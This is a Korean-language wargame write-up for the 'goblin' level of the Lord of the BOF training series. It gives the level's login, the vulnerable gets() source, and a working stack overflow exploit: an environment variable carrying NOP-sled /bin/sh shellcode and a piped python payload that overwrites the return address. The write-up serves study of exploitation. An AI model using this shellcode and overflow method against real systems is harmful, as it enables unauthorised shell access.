고블린을 사냥해봅시다. 예전에 게임 튜토리얼로 고블린 잡던 때가 떠오르네요..
login : cobolt
password : hacking exposed
탐색전
cat goblin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
이번엔 gets 함수에 대한 취약점인 것 같습니다. gets함수도 입력에서 길이제한이 없으므로 bof가 일어납니다.
더군다나 이제 main에서 인자를 받지 않고 stdin 이라고 되어있네요.
저번 문제에서 small buffer에 대해서 환경 변수를 이용하기로 했으니 환경변수를 우선 만들어보죠.
export shellcode=$(python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'")
export 를 통해 확인.
stdin 입력은 python과 pipe (|)을 이용하도록 하겠습니다.
shellcode라는 환경변수의 주소를 구합니다.
아, 그리고
cp goblin myblin
저번처럼 사이즈때문에 헤맬 일 없도록,,, 같게 했습니다.
풀이
우선
python -c "print 'aaaa'" | ./myblin을 통해 해봤는데
pipe가 의도대로 안되는거 같습니다.
aaaa만 나옵니다.
;cat를 붙여야겠습니다.
;cat을 붙이는 이유는 EOF 때문으로
(python -c "print '\x90'*20+'\x09\xff\xff\xbf'")|./myblin
만 했을 경우에 shell이 실행되지만 EOF까지 넘겨주어 바로 shell이 종료됩니다.
여기서 ;cat를 하게 되면 해당 python 코드가 끝나고 EOF까지 넘겨줄 것을 python이 끝나고 cat를 실행하여 cat이 끝날 때 까지는 EOF를 넘겨주지 않습니다.
마치 pwntools의 p.interactive() 같은 느낌..?
그리고, 계속 하다가 안 되길래 pipe와 ./ 사이 띄어쓰기를 없애서 |./myblin 이렇게 했더니 이제야 되네요...
띄어쓰기 때문에 왜 안 됐을까요?
이번에도 buf는 16byte이므로 sfp를 고려하여 20까지 채우고 이번엔 그냥 환경변수 주소 넣었는데 잘 됩니다.
이제 goblin으로 실행하면
짜잔